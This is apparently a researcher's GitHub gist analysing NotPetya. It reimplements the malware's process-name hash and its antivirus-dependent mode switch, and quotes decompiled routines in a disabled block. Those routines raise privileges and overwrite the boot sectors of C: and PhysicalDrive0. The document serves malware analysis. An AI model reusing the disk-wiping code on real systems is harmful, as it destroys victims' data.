Skip to content

Instantly share code, notes, and snippets.

@msuiche
Created June 29, 2017 06:14
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save msuiche/cf268fddd16aaa3f67cacc5838d60c1e to your computer and use it in GitHub Desktop.
Save msuiche/cf268fddd16aaa3f67cacc5838d60c1e to your computer and use it in GitHub Desktop.
Petya.2017
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
//
// The mysterious command (0x2E214B44) results in the first 10 sectors being wiped out.Or if the original replaceBootSectors() function fails.
//
// 0x2E214B44 ??? => Mysterious process. Name very close to AVP.exe
// Source of below hashes: https://www.carbonblack.com/2017/06/28/carbon-black-threat-research-technical-analysis-petya-notpetya-ransomware/
// 0x2E014B44 (AVP.exe) Kaspersky
// 0x651B3005 (NS.exe) Norton Security
// 0x6403527E (ccSvcHst.exe) Symantec
#define NO_WIPER_MODE 8
#if 0
The mysterious command results in the first 10 sectors being wiped out. Or if the original replaceBootSectors() function fails.
void init()
{
signed int v0; // esi@1
v0 = 0;
if (!dword_1001F114)
{
startingTime = GetTickCount();
if (SetTokenPrivilege(L"SeShutdownPrivilege"))
v0 = 1;
if (SetTokenPrivilege(L"SeDebugPrivilege"))
v0 |= 2u;
if (SetTokenPrivilege(L"SeTcbPrivilege"))
v0 |= 4u;
g_TokenPrivileges = v0;
g_Mode = getModeBasedOnRansomware();
if (GetModuleFileNameW(Src, &pszPath, 0x30Cu))
sub_10008ACF();
}
}
int overwriteBootSectors()
{
HANDLE v0; // edi@1
HLOCAL v1; // ebx@3
int result; // eax@7
DWORD BytesReturned; // [sp+Ch] [bp-1Ch]@2
char OutBuffer; // [sp+10h] [bp-18h]@2
LONG BytesPerSector; // [sp+24h] [bp-4h]@3
v0 = CreateFileA("\\\\.\\C:", 0x40000000u, 3u, 0, 3u, 0, 0);
if (v0)
{
if (DeviceIoControl(v0, 0x70000u, 0, 0, &OutBuffer, 0x18u, &BytesReturned, 0))
{
v1 = LocalAlloc(0, 10 * BytesPerSector);
if (v1)
{
SetFilePointer(v0, BytesPerSector, 0, 0);// pointer at 0x200 (sector 1)
WriteFile(v0, v1, BytesPerSector, &BytesReturned, 0);// pointer at erase 0x200 - 0x400
LocalFree(v1);
}
}
CloseHandle(v0);
}
if (!(g_Mode & 8) || (result = replaceBootSectors()) != 0)
result = wipeMode();
return result;
}
signed int wipeMode()
{
HANDLE hDevice; // ebx@1
signed int result; // eax@2
char geometry; // [sp+10h] [bp-20h]@3
int BytesPerSector; // [sp+24h] [bp-Ch]@3
LPCVOID lpBuffer; // [sp+28h] [bp-8h]@3
DWORD BytesReturned; // [sp+2Ch] [bp-4h]@3
hDevice = CreateFileA("\\\\.\\PhysicalDrive0", 0x40000000u, 3u, 0, 3u, 0, 0);
if (hDevice)
{
DeviceIoControl(hDevice, 0x70000u, 0, 0, &geometry, 0x18u, &BytesReturned, 0);// IOCTL_DISK_GET_DRIVE_GEOMETRY
//
lpBuffer = LocalAlloc(0, 10 * BytesPerSector);
if (lpBuffer)
{
DeviceIoControl(hDevice, 0x90020u, 0, 0, 0, 0, &BytesReturned, 0);// FSCTL_DISMOUNT_VOLUME
WriteFile(hDevice, lpBuffer, 10 * BytesPerSector, &BytesReturned, 0);
LocalFree((HLOCAL)lpBuffer);
}
CloseHandle(hDevice);
result = 1;
}
else
{
result = 0;
}
return result;
}
#endif
int getHash(LPWSTR processName)
{
int command, round, processLen, bitshift, index;
char *v4, v5;
command = 0x12345678;
round = 0;
processLen = wcslen(processName);
do
{
index = 0;
if (processLen)
{
bitshift = round;
do
{
v4 = (char *)&command + (bitshift & 3);
v5 = (*v4 ^ LOBYTE(processName[index++])) - 1;
++bitshift;
*v4 = v5;
} while (index < processLen);
}
++round;
} while (round < 3);
return command;
}
int
getMode(
int command
) {
int mode = -1;
if (command == 0x2E214B44) // mysterious command.
{
mode &= 0xFFFFFFF7; // keep kill disk flag that will trigger the NO_WIPER_MODE
}
else if (command == 0x6403527E || command == 0x651B3005)
{
mode &= 0xFFFFFFFB; // safe
}
printf("Hash: 0x%x\n", command);
if (!(mode & NO_WIPER_MODE)) {
printf("MBR PhysicalDisk0 erased. overwrite10firstsectors()\n");
}
else {
printf("MBR replacement with the ransomware that display the fake key on screen.\n");
}
return mode;
}
int wmain(
int argc,
LPWSTR *argv
)
{
int command;
int mode = -1;
printf("DISK_GEOMETRY.BytesPerSector at 0x%x\n", FIELD_OFFSET(DISK_GEOMETRY, BytesPerSector));
if (argc >= 2) command = getHash(argv[1]);
else command = getHash(L"ccSvcHst.exe");
getMode(command);
return false;
}
@tombonner
Copy link

The poor hash function also has multiple collisions, for example:

cCSvchst.exe = 0x6403527e
ccSvcHst.exe = 0x6403527e

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment